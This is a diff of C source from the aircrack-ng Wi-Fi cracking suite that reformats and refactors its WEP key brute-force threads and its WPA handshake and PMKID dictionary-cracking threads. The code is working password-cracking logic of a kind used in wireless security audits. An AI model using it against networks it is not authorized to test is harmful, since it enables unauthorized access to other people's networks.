+	// if we are going to fail on the root byte, check again if there are still
+	// threads bruting, if so wait and check again.
+	if (B == 0)
 	{
-		for(i=0; i<opt.nbcpu; i++)
+		for (i = 0; i < opt.nbcpu; i++)
 		{
-			while(bf_nkeys[i]>0 && !wepkey_crack_success) usleep(1);
+			while (bf_nkeys[i] > 0 && !wepkey_crack_success) usleep(1);
 		}
 		if (wepkey_crack_success)
 		{
 			memcpy(wep.key, bf_wepkey, opt.keylen);
-			return(SUCCESS);
+			return (SUCCESS);
 		}
 	}
-	return( FAILURE );
+	return (FAILURE);
 }
 
 /* experimental single bruteforce attack */
 
-int do_wep_crack2( int B )
+static int do_wep_crack2(int B)
 {
 	int i, j;
 
-	switch( update_ivbuf() )
+	switch (update_ivbuf())
 	{
-		case FAILURE: return( FAILURE );
-		case RESTART: return( RESTART );
-		default: break;
+		case FAILURE:
+			return (FAILURE);
+		case RESTART:
+			return (RESTART);
+		default:
+			break;
 	}
 
-	if( wep.nb_ivs_now / opt.keylen < 60000 )
+	if (wep.nb_ivs_now / opt.keylen < 60000)
 	{
 		printf(
 			"Not enough IVs available. This option is only meant to be used\n"
 			"if the standard attack method fails with more than %d IVs.\n",
-			opt.keylen * 60000 );
-		kill( 0, SIGTERM );
-		_exit( FAILURE );
+			opt.keylen * 60000);
+		kill(0, SIGTERM);
+		_exit(FAILURE);
 	}
 
-	for( i = 0; i <= B; i++ )
+	for (i = 0; i <= B; i++)
 	{
-		if( calc_poll( i ) != SUCCESS )
-			return( FAILURE );
+		if (calc_poll(i) != SUCCESS) return (FAILURE);
 
 		wep.key[i] = wep.poll[i][0].idx;
 
 		wep.fudge[i] = 1;
 		wep.depth[i] = 0;
 
-		if( ! opt.is_quiet )
-			show_wep_stats( i, 0, NULL, NULL, NULL, 0 );
+		if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
 	}
 
-	for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
-		if( (float) wep.poll[B][wep.fudge[B]].val <
-		(float) wep.poll[B][0].val / opt.ffact )
+	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
+		if ((float) wep.poll[B][wep.fudge[B]].val
+			< (float) wep.poll[B][0].val / opt.ffact)
 			break;
 
-	for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
+	for (wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++)
 	{
-		switch( update_ivbuf() )
+		switch (update_ivbuf())
 		{
-			case FAILURE: return( FAILURE );
-			case RESTART: return( RESTART );
-			default: break;
+			case FAILURE:
+				return (FAILURE);
+			case RESTART:
+				return (RESTART);
+			default:
+				break;
 		}
 
 		wep.key[B] = wep.poll[B][wep.depth[B]].idx;
 
-		if( ! opt.is_quiet )
-			show_wep_stats( B, 0, NULL, NULL, NULL, 0 );
+		if (!opt.is_quiet) show_wep_stats(B, 0, NULL, NULL, NULL, 0);
 
-		for( i = B + 1; i < opt.keylen - 2; i++ )
+		for (i = B + 1; i < opt.keylen - 2; i++)
 		{
-			if( calc_poll( i ) != SUCCESS )
-				return( FAILURE );
+			if (calc_poll(i) != SUCCESS) return (FAILURE);
 
 			wep.key[i] = wep.poll[i][0].idx;
 
 			wep.fudge[i] = 1;
 			wep.depth[i] = 0;
 
-			if( ! opt.is_quiet )
-				show_wep_stats( i, 0, NULL, NULL, NULL, 0 );
+			if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
 		}
 
-		for( i = 0; i < 256; i++ )
+		for (i = 0; i < 256; i++)
 		{
 			wep.key[opt.keylen - 2] = i;
 
-			for( j = 0; j < 256; j++ )
+			for (j = 0; j < 256; j++)
 			{
 				wep.key[opt.keylen - 1] = j;
 
-				if( check_wep_key( wep.key, opt.keylen - 2, 0 ) == SUCCESS )
-					return( SUCCESS );
+				if (check_wep_key(wep.key, opt.keylen - 2, 0) == SUCCESS)
+					return (SUCCESS);
 			}
 		}
 	}
 
-	return( FAILURE );
+	return (FAILURE);
 }
 
-int inner_bruteforcer_thread(void *arg)
+static int inner_bruteforcer_thread(void * arg)
 {
-	int i, j, k, l, reduce=0;
-	size_t nthread = (size_t)arg;
+	int i, j, k, l, reduce = 0;
+	size_t nthread = (size_t) arg;
 	unsigned char wepkey[64];
-	int ret=0;
+	int ret = 0;
 
-	inner_bruteforcer_thread_start:
+inner_bruteforcer_thread_start:
 
-	reduce=0;
+	reduce = 0;
 
-	if( close_aircrack )
-		return(ret);
+	if (close_aircrack) return (ret);
 
-	if (wepkey_crack_success)
-		return(SUCCESS);
+	if (wepkey_crack_success) return (SUCCESS);
 
-	/* we get the key for which we'll bruteforce the last 2 bytes from the pipe */
-	if( safe_read( bf_pipe[nthread][0], (void *) wepkey, 64) != 64)
+	/* we get the key for which we'll bruteforce the last 2 bytes from the pipe
+	 */
+	if (safe_read(bf_pipe[nthread][0], (void *) wepkey, 64) != 64)
 	{
-		perror( "read failed" );
-		kill( 0, SIGTERM );
-		_exit( FAILURE );
+		perror("read failed");
+		kill(0, SIGTERM);
+		_exit(FAILURE);
 	}
 	else
-		reduce=1;
+		reduce = 1;
 
-	if( close_aircrack )
-		return(ret);
-	/* now we test the 256*256 keys... if we succeed we'll save it and exit the thread */
-	if (opt.do_brute==4)
+	if (close_aircrack) return (ret);
+	/* now we test the 256*256 keys... if we succeed we'll save it and exit the
+	 * thread */
+	if (opt.do_brute == 4)
 	{
-		for( l = 0; l < 256; l++ )
+		for (l = 0; l < 256; l++)
 		{
 			wepkey[opt.brutebytes[0]] = l;
 
-			for( k = 0; k < 256; k++ )
+			for (k = 0; k < 256; k++)
 			{
 				wepkey[opt.brutebytes[1]] = k;
 
-				for( i = 0; i < 256; i++ )
+				for (i = 0; i < 256; i++)
 				{
 					wepkey[opt.brutebytes[2]] = i;
 
-					for( j = 0; j < 256; j++ )
+					for (j = 0; j < 256; j++)
 					{
 						wepkey[opt.brutebytes[3]] = j;
 
-						if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS )
-							return(SUCCESS);
+						if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+							return (SUCCESS);
 					}
 				}
 			}
 		}
 	}
-	else if (opt.do_brute==3)
+	else if (opt.do_brute == 3)
 	{
-		for( k = 0; k < 256; k++ )
+		for (k = 0; k < 256; k++)
 		{
 			wepkey[opt.brutebytes[0]] = k;
 
-			for( i = 0; i < 256; i++ )
+			for (i = 0; i < 256; i++)
 			{
 				wepkey[opt.brutebytes[1]] = i;
 
-				for( j = 0; j < 256; j++ )
+				for (j = 0; j < 256; j++)
 				{
 					wepkey[opt.brutebytes[2]] = j;
 
-					if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS )
-						return(SUCCESS);
+					if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+						return (SUCCESS);
 				}
 			}
 		}
 	}
-	else if (opt.do_brute==2)
+	else if (opt.do_brute == 2)
 	{
-		for( i = 0; i < 256; i++ )
+		for (i = 0; i < 256; i++)
 		{
 			wepkey[opt.brutebytes[0]] = i;
 
-			for( j = 0; j < 256; j++ )
+			for (j = 0; j < 256; j++)
 			{
 				wepkey[opt.brutebytes[1]] = j;
 
-				if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS )
-					return(SUCCESS);
+				if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+					return (SUCCESS);
 			}
 		}
 	}
 	else
 	{
-		for( j = 0; j < 256; j++ )
+		for (j = 0; j < 256; j++)
 		{
 			wepkey[opt.brutebytes[0]] = j;
 
-			if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS )
-				return(SUCCESS);
+			if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+				return (SUCCESS);
 		}
 	}
 
-	if(reduce)
-		bf_nkeys[nthread]--;
+	if (reduce) bf_nkeys[nthread]--;
 
 	goto inner_bruteforcer_thread_start;
-
 }
 
-
 /* display the current wpa key info, matrix-like */
 
-void show_wpa_stats( char *key, int keylen, unsigned char pmk[32], unsigned char ptk[64],
-unsigned char mic[16], int force )
+static void show_wpa_stats(char * key,
+						   int keylen,
+						   unsigned char pmk[32],
+						   unsigned char ptk[64],
+						   unsigned char mic[16],
+						   int force)
 {
 	float delta, calc, ksec;
 	int i, et_h, et_m, et_s;
 	char tmpbuf[28];
-	long long int remain, eta;
+	long long int remain, eta, cur_nb_kprev;
 
-	if (chrono( &t_stats, 0 ) < 0.15 && force == 0)
-		return;
+	if (chrono(&t_stats, 0) < 0.15 && force == 0) return;
 
 	if (force != 0)
-		pthread_mutex_lock(&mx_wpastats);  // if forced, wait until we can lock
-	else
-		if (pthread_mutex_trylock(&mx_wpastats) != 0)  // if not forced, just try
-			return;
+		pthread_mutex_lock(&mx_wpastats); // if forced, wait until we can lock
+	else if (pthread_mutex_trylock(&mx_wpastats)
+			 != 0) // if not forced, just try
+		return;
 
-	chrono( &t_stats, 1 );
+	chrono(&t_stats, 1);
 
-	delta = chrono( &t_begin, 0 );
+	delta = chrono(&t_begin, 0);
 
-	et_h =   delta / 3600;
-	et_m = ( delta - et_h * 3600 ) / 60;
-	et_s =   delta - et_h * 3600 - et_m * 60;
+	et_h = delta / 3600;
+	et_m = (delta - et_h * 3600) / 60;
+	et_s = delta - et_h * 3600 - et_m * 60;
 
-	if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 )
+	if ((delta = chrono(&t_kprev, 0)) >= 6)
 	{
 		int delta0;
 		delta0 = delta;
 
 		t_kprev.tv_sec += 3;
-		delta = chrono( &t_kprev, 0 );
-		nb_kprev *= delta / delta0;
+		delta = chrono(&t_kprev, 0);
+
+		if (delta0 <= FLT_EPSILON) goto __out;
 
+		pthread_mutex_lock(&mx_nb);
+		nb_kprev *= delta / delta0;
+		cur_nb_kprev = nb_kprev;
+		pthread_mutex_unlock(&mx_nb);
+	}
+	else
+	{
+		pthread_mutex_lock(&mx_nb);
+		cur_nb_kprev = nb_kprev;
+		pthread_mutex_unlock(&mx_nb);
 	}
 
-	if (_speed_test) {
-		int ks = (int) ((float) nb_kprev / delta);
+	if (delta <= FLT_EPSILON) goto __out;
+
+	if (_speed_test)
+	{
+		int ks = (int) ((float) cur_nb_kprev / delta);
 
 		printf("%d k/s\r", ks);
 		fflush(stdout);
 
-		if (et_s >= 15) {
+		if (_speed_test_length > 0 && et_s >= _speed_test_length)
+		{
 			printf("\n");
 			exit(0);
 		}
@@ -3976,298 +3754,506 @@
 		goto __out;
 	}
 
-	ksec = (float) nb_kprev / delta;
+	ksec = (float) cur_nb_kprev / delta;
+
+	if (ksec < 1.0f) goto __out;
 
-	if( opt.l33t ) printf( "\33[33;1m" );
+	moveto(0, 0);
+	erase_display(0);
 
-	if (opt.stdin_dict) {
-		printf( "\33[5;20H[%02d:%02d:%02d] %lld keys tested "
-			"(%2.2f k/s) ", et_h, et_m, et_s,
-			nb_tried, (float) nb_kprev / delta);
-	} else {
-		calc = ((float)nb_tried / (float)opt.wordcount)*100;
-		remain = (opt.wordcount - nb_tried);
-		eta = (remain / (long long int)ksec);
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_YELLOW);
+	}
 
-		printf( "\33[4;7H[%02d:%02d:%02d] %lld/%lld keys tested "
-			"(%2.2f k/s) ", et_h, et_m, et_s,
-			nb_tried, opt.wordcount, (float) nb_kprev / delta);
+	if (opt.stdin_dict)
+	{
+		moveto(20, 5);
+		printf("[%02d:%02d:%02d] %lld keys tested "
+			   "(%2.2f k/s) ",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   (float) cur_nb_kprev / delta);
+	}
+	else
+	{
+		moveto(7, 4);
+		printf("[%02d:%02d:%02d] %lld/%lld keys tested "
+			   "(%2.2f k/s) ",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   opt.wordcount,
+			   (float) cur_nb_kprev / delta);
+
+		moveto(7, 6);
+		printf("Time left: ");
+		if (opt.wordcount != 0 && ksec > FLT_EPSILON)
+		{
+			calc = ((float) nb_tried / (float) opt.wordcount) * 100;
+			remain = (opt.wordcount - nb_tried);
+			eta = (remain / (long long int) ksec);
 
-		printf( "\33[6;7HTime left: ");
-		calctime(eta, calc);
+			calctime(eta, calc);
+		}
 	}
 
-	memset( tmpbuf, ' ', sizeof( tmpbuf ) );
-	memcpy( tmpbuf, key, keylen > 27 ? 27 : keylen );
+	memset(tmpbuf, ' ', sizeof(tmpbuf));
+	memcpy(tmpbuf, key, keylen > 27 ? 27 : keylen);
 	tmpbuf[27] = '\0';
 
-	if( opt.l33t ) printf( "\33[37;1m" );
-	printf( "\33[8;24HCurrent passphrase: %s\n", tmpbuf );
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_WHITE);
+	}
 
-	if( opt.l33t ) printf( "\33[32;22m" );
-	printf( "\33[11;7HMaster Key     : " );
+	moveto(24, 8);
+	printf("Current passphrase: %s\n", tmpbuf);
 
-	if( opt.l33t ) printf( "\33[32;1m" );
-	for( i = 0; i < 32; i++ )
+	if (opt.l33t)
 	{
-		if( i == 16 ) printf( "\n\33[23C" );
-		printf( "%02X ", pmk[i] );
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
 	}
 
-	if( opt.l33t ) printf( "\33[32;22m" );
-	printf( "\33[14;7HTransient Key  : " );
+	moveto(7, 11);
+	printf("Master Key     : ");
 
-	if( opt.l33t ) printf( "\33[32;1m" );
-	for( i = 0; i < 64; i++ )
+	if (opt.l33t)
 	{
-		if( i > 0 && i % 16 == 0 ) printf( "\n\33[23C" );
-		printf( "%02X ", ptk[i] );
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
 	}
 
-	if( opt.l33t ) printf( "\33[32;22m" );
-	printf( "\33[19;7HEAPOL HMAC     : " );
+	for (i = 0; i < 32; i++)
+	{
+		if (i == 16)
+		{
+			move(CURSOR_BACK, 32 + 16);
+			move(CURSOR_DOWN, 1);
+		}
+		printf("%02X ", pmk[i]);
+	}
 
-	if( opt.l33t ) printf( "\33[32;1m" );
-	for( i = 0; i < 16; i++ )
-		printf( "%02X ", mic[i] );
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	moveto(7, 14);
+	printf("Transient Key  : ");
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	for (i = 0; i < 64; i++)
+	{
+		if (i > 0 && i % 16 == 0)
+		{
+			printf("\n");
+			move(CURSOR_FORWARD, 23);
+		}
+		printf("%02X ", ptk[i]);
+	}
 
-	printf( "\n" );
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	moveto(7, 19);
+	printf("EAPOL HMAC     : ");
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
+	}
+	for (i = 0; i < 16; i++) printf("%02X ", mic[i]);
+
+	printf("\n");
 __out:
 	pthread_mutex_unlock(&mx_wpastats);
 }
 
+/**
+ * Called in response to successfully cracking a WPA key.
+ *
+ * @param data A structure containing the WPA data.
+ * @param keys An array of passphrases.
+ * @param mic An array of calculated MIC codes.
+ * @param nparallel The number of used slots in each array.
+ * @param threadid The current thread ID number.
+ * @param j The winning index, containing the successful data.
+ */
+static void crack_wpa_successfully_cracked(
+	struct WPA_data * data,
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	int nparallel,
+	int threadid,
+	int j)
+{
+	// pre-conditions
+	assert(data != NULL);
+	assert(keys != NULL);
+	assert(mic != NULL);
+	assert(nparallel > 0 && nparallel <= MAX_KEYS_PER_CRYPT_SUPPORTED);
+	assert(threadid >= 0 && threadid < MAX_THREADS);
+	assert(j >= 0 && j < nparallel);
+
+	FILE * keyFile = NULL;
+	int i;
+
+	// to stop do_wpa_crack, we close the dictionary
+	pthread_mutex_lock(&mx_dic);
+	if (opt.dict != NULL)
+	{
+		if (!opt.stdin_dict) fclose(opt.dict);
+		opt.dict = NULL;
+	}
+	pthread_mutex_unlock(&mx_dic);
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+		// we make sure do_wpa_crack doesn't block before exiting,
+		// now that we're not consuming passphrases here any longer
+		pthread_cond_broadcast(&wpa_data[i].cond);
+	}
+
+	memset(data->key, 0, sizeof(data->key));
+	memcpy(data->key, keys[j].v, sizeof(keys[0].v));
+
+	// Write the key to a file
+	if (opt.logKeyToFile != NULL)
+	{
+		keyFile = fopen(opt.logKeyToFile, "w");
+		if (keyFile != NULL)
+		{
+			fprintf(keyFile, "%s", keys[j].v);
+			fclose(keyFile);
+		}
+	}
+
+	if (opt.is_quiet)
+	{
+		return;
+	}
+
+	pthread_mutex_lock(&mx_nb);
 
-int crack_wpa_thread( void *arg )
+	for (i = 0; i < nparallel; i++)
+		if (keys[i].length > 0)
+		{
+			nb_tried++;
+			nb_kprev++;
+		}
+
+	pthread_mutex_unlock(&mx_nb);
+
+	int len = keys[j].length;
+	if (len > 64) len = 64;
+	if (len < 8) len = 8;
+	show_wpa_stats((char *) keys[j].v,
+				   len,
+				   dso_ac_crypto_engine_get_pmk(&engine, threadid, j),
+				   dso_ac_crypto_engine_get_ptk(&engine, threadid, j),
+				   mic[j],
+				   1);
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_RED);
+	}
+
+	moveto((80 - 15 - (int) len) / 2, 8);
+	erase_line(2);
+	printf("KEY FOUND! [ %s ]\n", keys[j].v);
+	move(CURSOR_DOWN, 11);
+
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+}
+
+static int crack_wpa_thread(void * arg)
 {
-	FILE * keyFile;
-	char  essid[36];
-	char  key[8][128];
-	unsigned char pmk[8][128];
-
-	unsigned char pke[100];
-	unsigned char ptk[8][80];
-	unsigned char mic[8][20];
-
-	struct WPA_data* data;
-	struct AP_info* ap;
-	int thread;
-	int threadid=0;
-	int ret=0;
-	int i, j, len, slen;
-//	int nparallel = 1;
-
-#if defined(__i386__) || defined(__x86_64__)
-	// Set SIMD size to match what we can support, 1/4/8 (MMX/SSE2/AVX2)
-	cpuinfo.simdsize = cpuid_simdsize(0);
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
+		__attribute__((aligned(64)));
+	char essid[128] __attribute__((aligned(16)));
+
+	struct WPA_data * data;
+	struct AP_info * ap;
+	int threadid = 0;
+	int ret = 0;
+	int i, j, len;
 
-//	if (shasse2_cpuid()>=2)
-//		nparallel = 4;
-#else
-	cpuinfo.simdsize = 1;
-#endif
+	int nparallel = dso_ac_crypto_engine_simd_width();
 
-	data = (struct WPA_data*)arg;
+	data = (struct WPA_data *) arg;
 	ap = data->ap;
-	thread = data->thread;
 	threadid = data->threadid;
-	strncpy(essid, ap->essid, 36);
+	strncpy(essid, ap->essid, ESSID_LENGTH);
 
-#ifndef OLD_SSE_CORE
-	init_ssecore(threadid);
-#endif
+	// The attack below requires a full handshake.
+	assert(ap->wpa.state == 7);
 
-	/* pre-compute the key expansion buffer */
-	memcpy( pke, "Pairwise key expansion", 23 );
-	if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 )	{
-		memcpy( pke + 23, ap->wpa.stmac, 6 );
-		memcpy( pke + 29, ap->bssid, 6 );
-	} else {
-		memcpy( pke + 23, ap->bssid, 6 );
-		memcpy( pke + 29, ap->wpa.stmac, 6 );
-	}
-	if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) {
-		memcpy( pke + 35, ap->wpa.snonce, 32 );
-		memcpy( pke + 67, ap->wpa.anonce, 32 );
-	} else {
-		memcpy( pke + 35, ap->wpa.anonce, 32 );
-		memcpy( pke + 67, ap->wpa.snonce, 32 );
-	}
+	dso_ac_crypto_engine_thread_init(&engine, threadid);
 
-	/* receive the essid */
+#ifdef XDEBUG
+	if (nparallel > 1)
+		fprintf(stderr,
+				"The Crypto Engine will crack %d in parallel.\n",
+				nparallel);
+	else
+		fprintf(stderr,
+				"WARNING: The Crypto Engine is unable to crack in parallel.\n");
+#endif
 
-	slen = strlen(essid) + 4;
+	dso_ac_crypto_engine_calc_pke(&engine,
+								  ap->bssid,
+								  ap->wpa.stmac,
+								  ap->wpa.anonce,
+								  ap->wpa.snonce,
+								  threadid);
 
-#ifndef OLD_SSE_CORE
-	init_atoi();
+#ifdef XDEBUG
+	printf("Thread # %d starting...\n", threadid);
 #endif
 
-	while( 1 )
+	while (!close_aircrack)
 	{
-		if (close_aircrack) {
-#ifndef OLD_SSE_CORE
-			free_ssecore(threadid);
-#endif
-			pthread_exit(&ret);
-		}
-
 		/* receive passphrases */
+		memset(keys, 0, sizeof(keys));
 
-		for(j=0; j < cpuinfo.simdsize; ++j)
+		for (j = 0; j < nparallel; ++j)
 		{
-			key[j][0]=0;
+			uint8_t * our_key = keys[j].v;
 
-			while(wpa_receive_passphrase(key[j], data)==0)
+			while (wpa_receive_passphrase((char *) our_key, data) == 0)
 			{
-				if (wpa_wordlists_done==1) // if no more words will arrive and...
+				if (wpa_wordlists_done
+					== 1) // if no more words will arrive and...
 				{
-					if (j==0) // ...this is the first key in this loop: there's nothing else to do
-						return 0;
-					else	  // ...we have some key pending in this loop: keep working
+					if (j == 0)
+					{
+						dso_ac_crypto_engine_thread_destroy(&engine, threadid);
+						return SUCCESS;
+					}
+					else // ...we have some key pending in this loop: keep
+						// working
 						break;
 				}
 
-				sched_yield(); // yield the processor until there are keys available
-				// this only happens when the queue is empty (when beginning and ending the wordlist)
+				sched_yield(); // yield the processor until there are keys
+				// available
+				// this only happens when the queue is empty (when beginning and
+				// ending the wordlist)
 			}
 
-			key[j][127]=0;
+			keys[j].length = (uint32_t) strlen((const char *) keys[j].v);
+#ifdef XDEBUG
+			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
+#endif
 		}
 
-		// PMK calculation
-		if (cpuinfo.simdsize >= 4) {
-#ifndef OLD_SSE_CORE
-			init_wpapsk(key, essid, threadid);
-//			init_wpapsk(key[0], key[1], key[2], key[3], essid, threadid);
-			memcpy(pmk[0], xpmk1[threadid], 32);
-			memcpy(pmk[1], xpmk2[threadid], 32);
-			memcpy(pmk[2], xpmk3[threadid], 32);
-			memcpy(pmk[3], xpmk4[threadid], 32);
-			if (cpuinfo.simdsize == 8) {
-				memcpy(pmk[4], xpmk5[threadid], 32);
-				memcpy(pmk[5], xpmk6[threadid], 32);
-				memcpy(pmk[6], xpmk7[threadid], 32);
-				memcpy(pmk[7], xpmk8[threadid], 32);
-			}
-#else
-			calc_4pmk(key[0], key[1], key[2], key[3], essid, pmk[0], pmk[1], pmk[2], pmk[3]);
+		if ((int) unlikely(
+				(j = dso_ac_crypto_engine_wpa_crack(&engine,
+													keys,
+													ap->wpa.eapol,
+													ap->wpa.eapol_size,
+													mic,
+													ap->wpa.keyver,
+													ap->wpa.keymic,
+													nparallel,
+													threadid))
+				>= 0))
+		{
+#ifdef XDEBUG
+			printf("%d - %lu FOUND IT AT %d %p !\n",
+				   threadid,
+				   pthread_self(),
+				   j,
+				   keys[j].v);
 #endif
-		} else
-			for(j=0; j < cpuinfo.simdsize; ++j)
-				calc_pmk( key[j], essid, pmk[j] );
+			crack_wpa_successfully_cracked(
+				data, keys, mic, nparallel, threadid, j);
 
-		for(j=0; j < cpuinfo.simdsize; ++j)
-		{
-			/* compute the pairwise transient key and the frame MIC */
+			ret = SUCCESS;
+			goto crack_wpa_cleanup;
+		}
 
-			for (i = 0; i < 4; i++)
+		int nbkeys = 0;
+		for (i = 0; i < nparallel; i++)
+			if (keys[i].length > 0)
 			{
-				pke[99] = i;
-				HMAC(EVP_sha1(), pmk[j], 32, pke, 100, ptk[j] + i * 20, NULL);
+				++nbkeys;
 			}
 
-			if (ap->wpa.keyver == 1)
-				HMAC(EVP_md5(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL);
-			else
-				HMAC(EVP_sha1(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL);
+		pthread_mutex_lock(&mx_nb);
 
-			if (memcmp( mic[j], ap->wpa.keymic, 16 ) == 0)
-			{
-				// to stop do_wpa_crack, we close the dictionary
-				pthread_mutex_lock( &mx_dic );
-				if(opt.dict != NULL)
-				{
-					if (!opt.stdin_dict) fclose(opt.dict);
-					opt.dict = NULL;
-				}
-				pthread_mutex_unlock( &mx_dic );
-				for( i = 0; i < opt.nbcpu; i++ )
-				{
-					// we make sure do_wpa_crack doesn't block before exiting,
-					// now that we're not consuming passphrases here any longer
-					pthread_mutex_lock(&wpa_data[i].mutex);
-					pthread_cond_signal(&wpa_data[i].cond);
-					pthread_mutex_unlock(&wpa_data[i].mutex);
-				}
+		nb_tried += nbkeys;
+		nb_kprev += nbkeys;
 
-				memcpy(data->key, key[j], sizeof(data->key));
+		pthread_mutex_unlock(&mx_nb);
 
-				// Write the key to a file
-				if (opt.logKeyToFile != NULL) {
-					keyFile = fopen(opt.logKeyToFile, "w");
-					if (keyFile != NULL)
-					{
-						fprintf(keyFile, "%s", key[j]);
-						fclose(keyFile);
-					}
-				}
+		if (threadid <= 1 && !opt.is_quiet)
+		{
+			len = keys[0].length;
+			if (len > 64) len = 64;
+			if (len < 8) len = 8;
 
-				if (opt.is_quiet) {
-#ifndef OLD_SSE_CORE
-					ret = SUCCESS;
-					goto crack_wpa_cleanup;
-#else
-					return SUCCESS;
-#endif
-				}
+			show_wpa_stats((char *) keys[0].v,
+						   len,
+						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
+						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
+						   mic[0],
+						   0);
+		}
+	}
 
-				pthread_mutex_lock(&mx_nb);
+crack_wpa_cleanup:
+	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
 
-				for (i = 0; i < cpuinfo.simdsize; i++)
-					if (key[i][0] != 0) {
-						nb_tried++;
-						nb_kprev++;
-					}
+	return ret;
+}
 
-				pthread_mutex_unlock(&mx_nb);
+static int crack_wpa_pmkid_thread(void * arg)
+{
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
+		__attribute__((aligned(64)));
+	char essid[128] __attribute__((aligned(16)));
+
+	struct WPA_data * data;
+	struct AP_info * ap;
+	int threadid = 0;
+	int ret = 0;
+	int i;
+	int j;
+	int len;
+	int nparallel = dso_ac_crypto_engine_simd_width();
 
-				len = strlen(key[j]);
-				if (len > 64 ) len = 64;
-				if (len < 8) len = 8;
-				show_wpa_stats( key[j], len, pmk[j], ptk[j], mic[j], 1 );
+	data = (struct WPA_data *) arg;
+	ap = data->ap;
+	threadid = data->threadid;
+	strncpy(essid, ap->essid, ESSID_LENGTH);
 
-				if (opt.l33t)
-					printf( "\33[31;1m" );
+	// Check some pre-conditions.
+	assert(ap->wpa.state > 0 && ap->wpa.state < 7);
+	assert(ap->wpa.pmkid[0] != 0x00);
 
-				printf("\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n",
-					( 80 - 15 - (int) len ) / 2, key[j] );
+	dso_ac_crypto_engine_thread_init(&engine, threadid);
 
-				if (opt.l33t)
-					printf( "\33[32;22m" );
+	dso_ac_crypto_engine_set_pmkid_salt(
+		&engine, ap->bssid, ap->wpa.stmac, threadid);
 
-#ifndef OLD_SSE_CORE
-				ret = SUCCESS;
-				goto crack_wpa_cleanup;
-#else
-				return SUCCESS;
+#ifdef XDEBUG
+	printf("Thread # %d starting...\n", threadid);
 #endif
+
+	while (!close_aircrack)
+	{
+		/* receive passphrases */
+		memset(keys, 0, sizeof(keys));
+
+		for (j = 0; j < nparallel; ++j)
+		{
+			uint8_t * our_key = keys[j].v;
+
+			while (wpa_receive_passphrase((char *) our_key, data) == 0)
+			{
+				if (wpa_wordlists_done
+					== 1) // if no more words will arrive and...
+				{
+					if (j == 0)
+					{
+						dso_ac_crypto_engine_thread_destroy(&engine, threadid);
+						return SUCCESS;
+					}
+					else // ...we have some key pending in this loop: keep
+						// working
+						break;
+				}
+
+				sched_yield(); // yield the processor until there are keys
+				// available
+				// this only happens when the queue is empty (when beginning and
+				// ending the wordlist)
 			}
+
+			keys[j].length = (uint32_t) strlen((const char *) keys[j].v);
+#ifdef XDEBUG
+			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
+#endif
 		}
 
-		pthread_mutex_lock(&mx_nb);
+		if ((int) unlikely(
+				(j = dso_ac_crypto_engine_wpa_pmkid_crack(
+					 &engine, keys, ap->wpa.pmkid, nparallel, threadid))
+				>= 0))
+		{
+#ifdef XDEBUG
+			printf("%d - %lu FOUND IT AT %d %p !\n",
+				   threadid,
+				   pthread_self(),
+				   j,
+				   keys[j].v);
+#endif
+			crack_wpa_successfully_cracked(
+				data, keys, mic, nparallel, threadid, j);
+
+			ret = SUCCESS;
+			goto crack_wpa_cleanup;
+		}
 
-		for (i = 0; i < cpuinfo.simdsize; i++)
-			if (key[i][0] != 0) {
-				nb_tried++;
-				nb_kprev++;
+		int nbkeys = 0;
+		for (i = 0; i < nparallel; i++)
+			if (keys[i].length > 0)
+			{
+				++nbkeys;
